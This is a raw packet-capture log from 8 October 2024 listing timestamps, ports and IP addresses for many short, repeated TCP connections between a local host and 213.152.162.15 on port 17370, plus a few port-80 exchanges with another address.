Oct 8, 2024 02:42:28.472599030 CEST	17370	64482	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:28.472754955 CEST	64482	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:28.472839117 CEST	64482	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:28.477940083 CEST	17370	64482	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:28.583791971 CEST	64483	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:28.588865995 CEST	17370	64483	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:28.589075089 CEST	64483	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:28.611367941 CEST	64483	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:28.617167950 CEST	17370	64483	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:28.617376089 CEST	64483	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:28.622417927 CEST	17370	64483	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:29.297314882 CEST	17370	64483	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:29.297545910 CEST	64483	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:29.297645092 CEST	64483	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:29.302653074 CEST	17370	64483	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:29.411870003 CEST	64484	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:29.420289040 CEST	17370	64484	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:29.420365095 CEST	64484	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:29.549552917 CEST	64484	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:29.554506063 CEST	17370	64484	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:29.554631948 CEST	64484	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:29.559612036 CEST	17370	64484	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:30.108541012 CEST	17370	64484	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:30.108783007 CEST	64484	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:30.108814001 CEST	64484	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:30.113938093 CEST	17370	64484	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:30.240111113 CEST	64485	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:30.245243073 CEST	17370	64485	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:30.245313883 CEST	64485	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:31.079428911 CEST	64485	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:31.084784985 CEST	17370	64485	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:31.084872961 CEST	64485	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:31.089854956 CEST	17370	64485	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:31.099606991 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:42:31.104563951 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:42:31.197644949 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:42:31.302288055 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:42:31.489712954 CEST	17370	64485	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:31.489828110 CEST	64485	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:31.489933968 CEST	64485	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:31.494735956 CEST	17370	64485	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:31.599873066 CEST	64486	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:31.604901075 CEST	17370	64486	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:31.604969978 CEST	64486	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:31.748852015 CEST	64486	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:31.753952026 CEST	17370	64486	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:31.754081011 CEST	64486	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:31.759068966 CEST	17370	64486	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:32.306330919 CEST	17370	64486	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:32.306555033 CEST	64486	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:32.307429075 CEST	64486	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:32.312335014 CEST	17370	64486	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:32.415251017 CEST	64487	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:32.420358896 CEST	17370	64487	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:32.420459032 CEST	64487	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:33.753635883 CEST	64487	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:34.083558083 CEST	64487	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:34.222379923 CEST	17370	64487	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:34.224210024 CEST	17370	64487	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:34.461878061 CEST	17370	64487	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:34.463905096 CEST	64487	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:34.463936090 CEST	64487	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:34.469543934 CEST	17370	64487	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:34.568167925 CEST	64488	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:34.573460102 CEST	17370	64488	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:34.575834036 CEST	64488	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:34.746630907 CEST	64488	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:34.751950026 CEST	17370	64488	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:34.755831957 CEST	64488	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:34.761012077 CEST	17370	64488	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:35.280481100 CEST	17370	64488	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:35.283833981 CEST	64488	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:35.283941031 CEST	64488	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:35.288856030 CEST	17370	64488	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:35.396277905 CEST	64489	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:35.401349068 CEST	17370	64489	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:35.401424885 CEST	64489	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:35.439553976 CEST	64489	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:35.444701910 CEST	17370	64489	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:35.444899082 CEST	64489	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:35.449842930 CEST	17370	64489	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:36.118972063 CEST	17370	64489	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:36.119119883 CEST	64489	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:36.119322062 CEST	64489	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:36.124281883 CEST	17370	64489	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:36.224328995 CEST	64490	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:36.229495049 CEST	17370	64490	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:36.229578972 CEST	64490	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:36.253258944 CEST	64490	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:36.258526087 CEST	17370	64490	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:36.258728027 CEST	64490	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:36.263890982 CEST	17370	64490	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:36.931039095 CEST	17370	64490	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:36.931296110 CEST	64490	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:36.931296110 CEST	64490	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:36.936444044 CEST	17370	64490	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:37.037028074 CEST	64491	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:37.042128086 CEST	17370	64491	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:37.042206049 CEST	64491	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:37.081206083 CEST	64491	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:37.086347103 CEST	17370	64491	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:37.086424112 CEST	64491	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:37.091495037 CEST	17370	64491	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:37.739952087 CEST	17370	64491	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:37.740154982 CEST	64491	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:37.740155935 CEST	64491	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:37.745341063 CEST	17370	64491	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:37.849347115 CEST	64492	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:37.854440928 CEST	17370	64492	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:37.854626894 CEST	64492	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:37.891396046 CEST	64492	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:37.896325111 CEST	17370	64492	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:37.896373987 CEST	64492	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:37.901443958 CEST	17370	64492	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:38.559197903 CEST	17370	64492	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:38.559267998 CEST	64492	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:38.559379101 CEST	64492	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:38.564353943 CEST	17370	64492	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:38.677453995 CEST	64493	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:38.682764053 CEST	17370	64493	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:38.682991982 CEST	64493	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:38.711528063 CEST	64493	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:38.716703892 CEST	17370	64493	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:38.716793060 CEST	64493	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:38.721692085 CEST	17370	64493	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:39.541858912 CEST	17370	64493	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:39.541964054 CEST	64493	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:39.542048931 CEST	64493	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:39.546979904 CEST	17370	64493	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:39.646992922 CEST	64494	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:39.652141094 CEST	17370	64494	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:39.652220011 CEST	64494	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:39.680089951 CEST	64494	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:39.685097933 CEST	17370	64494	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:39.685173035 CEST	64494	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:39.691414118 CEST	17370	64494	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:40.350672007 CEST	17370	64494	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:40.351013899 CEST	64494	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:40.353743076 CEST	64494	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:40.358654976 CEST	17370	64494	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:40.458748102 CEST	64495	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:40.463833094 CEST	17370	64495	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:40.463917971 CEST	64495	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:40.484276056 CEST	64495	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:40.489346027 CEST	17370	64495	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:40.489412069 CEST	64495	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:40.494338036 CEST	17370	64495	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:41.180814981 CEST	17370	64495	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:41.180869102 CEST	64495	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:41.180999994 CEST	64495	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:41.185898066 CEST	17370	64495	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:41.286848068 CEST	64496	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:41.291798115 CEST	17370	64496	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:41.291874886 CEST	64496	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:41.423043013 CEST	64496	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:41.428131104 CEST	17370	64496	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:41.428214073 CEST	64496	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:41.433156967 CEST	17370	64496	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:41.979465008 CEST	17370	64496	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:41.979556084 CEST	64496	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:41.979650021 CEST	64496	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:41.984467030 CEST	17370	64496	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:42.083705902 CEST	64497	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:42.088989019 CEST	17370	64497	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:42.089070082 CEST	64497	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:42.119180918 CEST	64497	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:42.124022961 CEST	17370	64497	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:42.124085903 CEST	64497	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:42.129672050 CEST	17370	64497	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:42.974160910 CEST	17370	64497	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:42.974459887 CEST	64497	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:42.975308895 CEST	64497	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:42.980516911 CEST	17370	64497	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:43.087239027 CEST	64498	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:43.092355013 CEST	17370	64498	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:43.092446089 CEST	64498	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:43.123228073 CEST	64498	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:43.128422022 CEST	17370	64498	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:43.128496885 CEST	64498	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:43.133363008 CEST	17370	64498	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:43.968781948 CEST	17370	64498	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:43.969023943 CEST	64498	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:43.969055891 CEST	64498	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:43.974009037 CEST	17370	64498	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:44.083817005 CEST	64499	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:44.088871002 CEST	17370	64499	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:44.089009047 CEST	64499	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:44.119148016 CEST	64499	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:44.124123096 CEST	17370	64499	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:44.124195099 CEST	64499	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:44.129103899 CEST	17370	64499	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:44.790080070 CEST	17370	64499	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:44.790168047 CEST	64499	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:44.790297031 CEST	64499	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:44.795202017 CEST	17370	64499	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:44.896369934 CEST	64500	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:44.901650906 CEST	17370	64500	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:44.901734114 CEST	64500	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:44.926371098 CEST	64500	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:44.931346893 CEST	17370	64500	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:44.931622028 CEST	64500	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:44.936558008 CEST	17370	64500	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:45.609764099 CEST	17370	64500	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:45.609930038 CEST	64500	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:45.610003948 CEST	64500	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:45.615016937 CEST	17370	64500	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:45.724495888 CEST	64501	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:45.729926109 CEST	17370	64501	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:45.730134964 CEST	64501	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:45.764707088 CEST	64501	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:45.769640923 CEST	17370	64501	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:45.769730091 CEST	64501	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:45.774790049 CEST	17370	64501	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:46.435348988 CEST	17370	64501	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:46.435535908 CEST	64501	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:46.435537100 CEST	64501	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:46.440447092 CEST	17370	64501	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:46.552730083 CEST	64502	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:46.557785034 CEST	17370	64502	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:46.557904005 CEST	64502	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:46.590545893 CEST	64502	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:46.595506907 CEST	17370	64502	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:46.595602989 CEST	64502	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:46.600564003 CEST	17370	64502	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:46.975091934 CEST	64502	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:46.980317116 CEST	17370	64502	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:46.980401039 CEST	64502	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:46.986120939 CEST	17370	64502	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:47.246046066 CEST	17370	64502	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:47.246217012 CEST	64502	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:47.246306896 CEST	64502	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:47.251302004 CEST	17370	64502	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:47.365104914 CEST	64503	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:47.370146990 CEST	17370	64503	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:47.370232105 CEST	64503	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:47.395750046 CEST	64503	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:47.400741100 CEST	17370	64503	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:47.400820971 CEST	64503	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:47.405771017 CEST	17370	64503	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:48.248343945 CEST	17370	64503	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:48.248423100 CEST	64503	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:48.248574972 CEST	64503	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:48.254223108 CEST	17370	64503	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:48.365166903 CEST	64504	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:48.370367050 CEST	17370	64504	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:48.370462894 CEST	64504	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:48.393357992 CEST	64504	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:48.398418903 CEST	17370	64504	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:48.398495913 CEST	64504	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:48.403371096 CEST	17370	64504	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:49.073896885 CEST	17370	64504	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:49.074090958 CEST	64504	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:49.074090958 CEST	64504	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:49.079109907 CEST	17370	64504	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:49.177578926 CEST	64505	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:49.182665110 CEST	17370	64505	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:49.182745934 CEST	64505	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:49.208308935 CEST	64505	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:49.213257074 CEST	17370	64505	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:49.213325024 CEST	64505	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:49.218350887 CEST	17370	64505	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:49.898616076 CEST	17370	64505	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:49.898847103 CEST	64505	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:49.898961067 CEST	64505	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:49.903817892 CEST	17370	64505	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:50.008887053 CEST	64506	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:50.014010906 CEST	17370	64506	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:50.014072895 CEST	64506	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:51.220271111 CEST	64506	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:51.225557089 CEST	17370	64506	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:51.225686073 CEST	64506	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:51.230705976 CEST	17370	64506	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:51.650955915 CEST	17370	64506	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:51.651082039 CEST	64506	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:51.651187897 CEST	64506	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:51.656256914 CEST	17370	64506	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:51.706171989 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:42:51.755750895 CEST	64507	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:51.761235952 CEST	17370	64507	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:51.761357069 CEST	64507	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:51.802412033 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:42:51.802735090 CEST	64507	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:51.807892084 CEST	17370	64507	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:51.808094025 CEST	64507	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:51.813203096 CEST	17370	64507	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:52.451713085 CEST	17370	64507	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:52.451925993 CEST	64507	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:52.451925993 CEST	64507	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:52.458179951 CEST	17370	64507	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:52.568393946 CEST	64508	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:52.573647976 CEST	17370	64508	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:52.573735952 CEST	64508	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:52.607795000 CEST	64508	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:52.612978935 CEST	17370	64508	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:52.613048077 CEST	64508	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:52.617930889 CEST	17370	64508	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:53.263185024 CEST	17370	64508	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:53.263369083 CEST	64508	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:53.263369083 CEST	64508	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:53.268500090 CEST	17370	64508	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:53.380711079 CEST	64509	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:53.387465954 CEST	17370	64509	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:53.387556076 CEST	64509	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:53.419188023 CEST	64509	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:53.427911043 CEST	17370	64509	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:53.427980900 CEST	64509	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:53.433906078 CEST	17370	64509	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:54.022929907 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:42:54.108841896 CEST	17370	64509	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:54.108918905 CEST	64509	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:54.109011889 CEST	64509	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:54.113955975 CEST	17370	64509	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:54.114918947 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:42:54.224499941 CEST	64510	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:54.229628086 CEST	17370	64510	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:54.229715109 CEST	64510	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:54.256167889 CEST	64510	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:54.262125015 CEST	17370	64510	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:54.262196064 CEST	64510	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:54.267710924 CEST	17370	64510	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:54.932756901 CEST	17370	64510	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:54.932837963 CEST	64510	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:54.932957888 CEST	64510	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:54.938010931 CEST	17370	64510	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:55.037041903 CEST	64511	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:55.042243958 CEST	17370	64511	213.152.162.15	192.168.2.4
